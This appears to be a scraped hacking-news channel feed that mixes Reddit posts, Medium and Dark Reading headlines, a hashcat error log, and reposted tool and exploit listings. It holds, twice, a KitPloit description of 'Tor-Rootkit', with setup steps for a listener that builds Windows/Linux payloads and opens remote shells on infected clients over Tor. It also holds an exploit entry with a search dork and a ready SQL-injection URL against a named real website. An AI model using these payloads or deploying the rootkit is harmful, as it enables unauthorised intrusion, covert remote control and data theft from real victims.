A Python 3 (https://www.kitploit.com/search/label/Python%203) standalone Windows 10 (https://www.kitploit.com/search/label/Windows%2010) / Linux Rootkit. The networking (https://www.kitploit.com/search/label/Networking) communication get's established over the tor network.
Disclaimer
Use for educational purposes only.
How to use
Clone the repo and change directory: git clone https://github.com/emcruise/TorRootkit.git
cd ./tor-rootkit Build docker container: docker build -t listener . Run docker container: docker run -v $(pwd)/executables:/executables/ -it listener Deploy the executables: When the listener is up and running it generates a "executables" directory containing different payloads for different plattforms. TorRootkit/
│ ...
└ executables/
Note: The client can take some time (20s-30s) to connect because PyInstaller executables are a bit slower and it need's to start tor.
Features
Standalone executables for Windows and Linux, including python interpreter and tor the whole communication works over tor hidden services (https://www.kitploit.com/search/label/Hidden%20Services) which guarantees some degree of anonymity The Listener (https://www.kitploit.com/search/label/Listener) can handle multiple clients The Listener generates payloads for different platforms on startup
Listener Shell Commands
Command Explanation help Shows the help menu ^C or exit Exits the shell list lists all connected clients with their according index select start shell with client
Client Shell Commands
Command Explanation help Shows the help menu ^C or exit Exits the client shell and returns to listener shell os Executes a command in the clients shell and returns the output background Keeps the connection to a client and returns to listener
Contribution
Any contributions are appreciated. Make a pull-requests and I'll merge if it passes my automatic tests.

Download Tor-Rootkit (https://github.com/emcruise/tor-rootkit)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hashcat issue

Hello everyone,

I have the necessary tools installed for my NVIDIA graphics card on Pop!OS to use hashcat, but I get the following error.

Note, I installed the tools (drivers) from the nvidia site, and hashcat is the newest version.

What is the problem?

truexfalse@pop-os:~$ hashcat -m 22000 '/home/truexfalse/Downloads/14640_1636113653.hc22000' '/home/truexfalse/Desktop/wordlists/kinitaCommon.txt'

hashcat (v6.1.1) starting...

​

* Device #1: This hardware has outdated CUDA compute capability (3.5).

For modern OpenCL performance, upgrade to hardware that supports

CUDA compute capability version 5.0 (Maxwell) or higher.

* Device #1: WARNING! Kernel exec timeout is not disabled.

This may cause "CL_OUT_OF_RESOURCES" or related errors.

To disable the timeout, see: https://hashcat.net/q/timeoutpatch

* Device #2: This hardware has outdated CUDA compute capability (3.5).

For modern OpenCL performance, upgrade to hardware that supports

CUDA compute capability version 5.0 (Maxwell) or higher.

* Device #2: WARNING! Kernel exec timeout is not disabled.

This may cause "CL_OUT_OF_RESOURCES" or related errors.

To disable the timeout, see: https://hashcat.net/q/timeoutpatch

nvmlDeviceGetCurrPcieLinkWidth(): Not Supported

​

nvmlDeviceGetClockInfo(): Not Supported

​

nvmlDeviceGetClockInfo(): Not Supported

​

nvmlDeviceGetTemperatureThreshold(): Not Supported

​

nvmlDeviceGetTemperatureThreshold(): Not Supported

​

nvmlDeviceGetUtilizationRates(): Not Supported

​

CUDA API (CUDA 11.4)



* Device #1: NVIDIA GeForce GT 710, 1847/2000 MB, 1MCU

​

OpenCL API (OpenCL 3.0 CUDA 11.4.153) - Platform #1 [NVIDIA Corporation]



* Device #2: NVIDIA GeForce GT 710, skipped

​

Minimum password length supported by kernel: 8

Maximum password length supported by kernel: 63

​

Hashes: 2 digests; 2 unique digests, 1 unique salts

Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Rules: 1

​

Applicable optimizers applied:

* Zero-Byte

* Single-Salt

* Slow-Hash-SIMD-LOOP

​

Watchdog: Temperature abort trigger set to 90c

​

cuLinkAddData(): the provided PTX was compiled with an unsupported toolchain.

​

* Device #1: Kernel /usr/share/hashcat/OpenCL/shared.cl link failed. Error Log:

​

ptxas application ptx input, line 9; fatal : Unsupported .version 7.5; current version is '7.4'

​

​

​

* Device #1: Kernel /usr/share/hashcat/OpenCL/shared.cl build failed.

​

Started: Fri Nov 5 23:24:46 2021

Stopped: Fri Nov 5 23:24:50 2021

submitted by /u/truexfalse
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Subdomain Enumeration [TryHackme + Intro To Web Hacking]

https://cdn-images-1.medium.com/max/600/1*kngPe1D00sg6fyqBAviIyA.png
Learn the various ways of discovering subdomains to expand your attack surface of a target.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Los datos de la Dark Web se están filtrando más que nunca

https://cdn-images-1.medium.com/max/1522/0*OC7lrSfLe9oMcvYo
PUBLICADO EN 1 NOVIEMBRE, 2021 POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
El troyano bancario Mekotio resurge con nuevas técnicas de ataque y sigilo

https://cdn-images-1.medium.com/max/1471/0*5y8_ZfQ7CBhHWqR4
PUBLICADO EN 3 NOVIEMBRE, 2021 POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Khamenei.ir SQL Injection

https://4.bp.blogspot.com/-ILIpsq3JVDo/WWlvQ8IjxbI/AAAAAAAAINI/veR2GTC9zzcP6cUZEvOZqGdUDt2RtL0uQCLcBGAs/s1600/h32.png
Khamenei.ir suffers from a remote SQL injection vulnerability.

MD5 | 17d6bc18adc607b89ff1fc1ffd9f720c

Download
################################################## ################################################## #####################
# #
# Exploit Title : Khamenei.ir has SQL Inj vulnerabilities #
# #
# Author : E1.Coders #
# #
# Contact : E1.Coders [at] Mail [dot] RU #
# #
# Portal Link : khamenei.ir (https://farsi.khamenei.ir) #
# #
# Tested ON : Persian language version Host #
# #
# Security Risk : ~[Critical]~ #
# #
# Description : Description: All websites with this version used can be targeted #
# #
# DorK : "intext:"book-archive?nt="" #
# #
# #
# #
################################################## ################################################## #####################
Details :
the vulnerable file is "book-archive"
SQL Inj Expl0iTs :
https://farsi.khamenei.ir/book-archive?nt=99999999 Codes
Dem0 :

https://farsi.khamenei.ir/book-archive?nt=99999999%27 oR 6168693=6168693 aNd %276199%27=%276199

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Tor-Rootkit - A Python 3 Standalone Windows 10 / Linux Rootkit Using Tor

https://blogger.googleusercontent.com/img/a/AVvXsEhAUtAjcZl-79fqxehj5cCuE7uYVP9CMDVIgC_z3jrh96fRBklcjd-OVUN6UO0wwhTW3tOAkzGpufpnsnGDEn_GAuy4yeHfW___C3N5DzkGHeGATr9Jp3JDzzhgEKeCDmes2NSczltejyKp1MmB70e_TjmKoEy8fsA157fDT2UX3vV7octlhiSvkA3b9w=w640-h264
A Python 3 standalone Windows 10 / Linux Rootkit. The networking communication get's established over the tor network.
Disclaimer

Use for educational purposes only.

How to use

1. Clone the repo and change directory:

git clone https://github.com/emcruise/TorRootkit.git
cd ./tor-rootkit

1. Build docker container:

docker build -t listener .

1. Run docker container:

docker run -v $(pwd)/executables:/executables/ -it listener

1. Deploy the executables: When the listener is up and running it generates a "executables" directory containing different payloads for different plattforms.

TorRootkit/
│ ...
└ executables/


Note: The client can take some time (20s-30s) to connect because PyInstaller executables are a bit slower and it need's to start tor.

Features

* Standalone executables for Windows and Linux, including python interpreter and tor
* the whole communication works over tor hidden services which guarantees some degree of anonymity
* The Listener can handle multiple clients
* The Listener generates payloads for different platforms on startup

Listener Shell Commands
Command Explanation helpShows the help menu ^Cor exitExits the shell listlists all connected clients with their according index select start shell with client
Client Shell Commands
Command Explanation helpShows the help menu ^Cor exitExits the client shell and returns to listener shell os Executes a command in the clients shell and returns the output backgroundKeeps the connection to a client and returns to listener
Contribution

Any contributions are appreciated. Make a pull-requests and I'll merge if it passes my automatic tests.
Download Tor-Rootkit

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Who's Minding Your Company's Crypto Decisions?

Security teams must first evaluate security protocols and the reputation of the cryptocurrency payment platform before their companies can proceed to accept the alternative currency as payment.

Dark Reading: Attacks/Breaches
US Defense Contractor Discloses Data Breach

Electronic Warfare Associates says an attackers infiltrated EWA email in August, which led to the exfiltration of files with personal data.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
SolarWinds Investors Allege Board Knew About Cyber Risks

https://external-preview.redd.it/PeOHl6Xv0G0QNeB9Q1ceyBwkIS2WLdElSYuOjH1hDjg.jpg?width=640&crop=smart&auto=webp&s=5508fb546fc1fdb766a30f7e30edb809e4b513a2 submitted by /u/Motor-Ad-8858
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
So, modding a ps4?

So I was given an old ps4, one that isn't exactly in good shape, but I already have one, so I was going to alter the one I was given. I would like to play older games on it mostly (like ps3 and below) so is there a way to mod it where I can do that?

submitted by /u/Maniacal_Nut
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Another Calculator — CTF MetaRed (2021)

https://cdn-images-1.medium.com/max/600/1*cc2MBPI7bqteDQXnWJkVMA.png
A Writeup for a web challenge from CTF MetaRed.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
SecureAuth Buys Acceptto to Deliver Low-Friction Authentication to Enterprises

Acceptto’s contextual behavior threat intelligence technology will help SecureAuth deliver AI-driven MFA and continuous password-less authentication, SecureAuth says.